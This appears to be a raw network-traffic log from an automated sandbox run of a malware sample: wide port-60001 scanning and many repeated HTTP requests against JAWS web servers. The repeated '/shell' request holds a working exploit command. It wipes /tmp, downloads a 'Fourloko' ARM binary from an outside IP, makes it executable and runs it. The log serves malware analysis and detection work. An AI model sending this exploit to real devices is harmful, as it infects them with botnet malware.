    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 9.158.166.108:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 118.21.240.176:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 32.32.192.7:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 96.172.88.206:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 46.164.32.50:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 14.7.242.222:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 183.246.192.47:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 217.181.152.36:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 100.231.48.165:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 186.145.60.198:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 184.25.157.100:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 178.103.226.231:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 218.29.199.43:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 14.123.12.230:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 171.193.100.254:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 220.217.74.67:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 98.166.40.3:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 210.100.109.251:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 145.208.215.128:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 104.154.154.35:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 207.118.104.182:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 151.64.251.206:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 139.112.4.200:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 51.47.160.220:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 176.63.176.119:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 119.173.6.123:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 148.80.235.45:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 99.118.20.107:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 209.24.191.130:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 209.218.250.31:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 91.150.180.188:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 205.198.219.70:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 147.137.194.70:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 98.126.177.157:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 103.198.90.21:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 187.176.222.47:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 201.178.68.88:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 143.52.64.34:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 25.246.49.197:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 67.25.38.247:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 83.172.6.247:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 184.16.96.43:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 40.109.172.147:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 75.160.22.114:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 131.23.138.36:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 82.54.156.201:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 49.21.239.14:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 45.211.38.194:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 39.85.5.199:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 208.216.1.55:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 205.250.234.111:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 131.15.5.107:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 111.209.145.118:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 65.189.12.187:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 89.60.63.88:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 107.175.253.27:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 180.245.123.229:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 183.57.158.151:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 104.128.70.119:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 197.127.68.6:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 145.178.9.37:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 99.210.219.137:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 213.193.84.132:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 58.254.82.243:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 27.112.68.201:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 117.184.136.58:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 82.228.21.237:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 66.77.221.176:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 83.244.1.171:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 12.140.105.202:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 153.164.149.74:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 116.90.170.22:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 45.83.241.255:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 140.133.83.0:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 181.69.206.42:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 125.41.220.188:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 190.30.5.246:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 211.59.101.208:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 222.246.195.63:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 83.217.147.190:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 222.41.90.71:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 31.216.232.101:60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
    Source: unknownTCP traffic detected without corresponding DNS query: 186.118.144.241
    Source: unknownTCP traffic detected without corresponding DNS query: 95.161.169.3
    Source: unknownTCP traffic detected without corresponding DNS query: 92.70.119.243
    Source: unknownTCP traffic detected without corresponding DNS query: 161.46.243.82
    Source: unknownTCP traffic detected without corresponding DNS query: 32.225.225.241
    Source: unknownTCP traffic detected without corresponding DNS query: 196.180.244.124
    Source: unknownTCP traffic detected without corresponding DNS query: 174.44.144.58
    Source: unknownTCP traffic detected without corresponding DNS query: 129.57.39.82
    Source: unknownTCP traffic detected without corresponding DNS query: 218.75.52.213
    Source: unknownTCP traffic detected without corresponding DNS query: 94.81.141.191
    Source: unknownTCP traffic detected without corresponding DNS query: 159.134.116.150
    Source: unknownTCP traffic detected without corresponding DNS query: 223.46.43.244
    Source: unknownTCP traffic detected without corresponding DNS query: 146.130.4.81
    Source: unknownTCP traffic detected without corresponding DNS query: 180.103.152.86
    Source: unknownTCP traffic detected without corresponding DNS query: 221.216.112.40
    Source: unknownTCP traffic detected without corresponding DNS query: 169.109.155.26
    Source: unknownTCP traffic detected without corresponding DNS query: 187.235.230.99
    Source: unknownTCP traffic detected without corresponding DNS query: 129.241.178.28
    Source: unknownTCP traffic detected without corresponding DNS query: 94.133.230.108
    Source: unknownTCP traffic detected without corresponding DNS query: 50.57.90.117
    Source: unknownTCP traffic detected without corresponding DNS query: 135.68.189.65
    Source: unknownTCP traffic detected without corresponding DNS query: 196.191.120.68
    Source: unknownTCP traffic detected without corresponding DNS query: 142.149.32.209
    Source: unknownTCP traffic detected without corresponding DNS query: 136.234.129.44
    Source: unknownTCP traffic detected without corresponding DNS query: 179.145.165.149
    Source: unknownTCP traffic detected without corresponding DNS query: 218.183.78.89
    Source: unknownTCP traffic detected without corresponding DNS query: 39.21.179.73
    Source: unknownTCP traffic detected without corresponding DNS query: 73.202.12.93
    Source: unknownTCP traffic detected without corresponding DNS query: 193.112.196.232
    Source: unknownTCP traffic detected without corresponding DNS query: 202.174.158.162
    Source: unknownTCP traffic detected without corresponding DNS query: 135.167.162.253
    Source: unknownTCP traffic detected without corresponding DNS query: 44.193.126.40
    Source: unknownTCP traffic detected without corresponding DNS query: 131.207.90.155
    Source: unknownTCP traffic detected without corresponding DNS query: 71.93.44.28
    Source: unknownTCP traffic detected without corresponding DNS query: 170.216.237.9
    Source: unknownTCP traffic detected without corresponding DNS query: 187.30.82.237
    Source: unknownTCP traffic detected without corresponding DNS query: 23.224.65.86
    Source: unknownTCP traffic detected without corresponding DNS query: 198.206.109.28
    Source: unknownTCP traffic detected without corresponding DNS query: 120.13.77.178
    Source: unknownTCP traffic detected without corresponding DNS query: 109.228.22.34
    Source: unknownTCP traffic detected without corresponding DNS query: 112.101.103.97
    Source: unknownTCP traffic detected without corresponding DNS query: 147.192.60.177
    Source: unknownTCP traffic detected without corresponding DNS query: 82.120.66.187
    Source: unknownTCP traffic detected without corresponding DNS query: 135.29.54.171
    Source: unknownTCP traffic detected without corresponding DNS query: 126.228.13.150
    Source: unknownTCP traffic detected without corresponding DNS query: 77.147.217.125
    Source: unknownTCP traffic detected without corresponding DNS query: 1.226.55.214
    Source: unknownTCP traffic detected without corresponding DNS query: 133.150.192.103
    Source: unknownTCP traffic detected without corresponding DNS query: 170.5.215.105
    Source: unknownTCP traffic detected without corresponding DNS query: 69.124.77.13
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: JAWS/1.0 Jan 21 2017Content-Type: text/html; charset=UTF-8Content-length: 213
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: JAWS/1.0 Sep 18 2018Content-Type: text/html; charset=UTF-8Content-length: 213
    Source: 1xtO9V8ku8String found in binary or memory: http://upx.sf.net
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
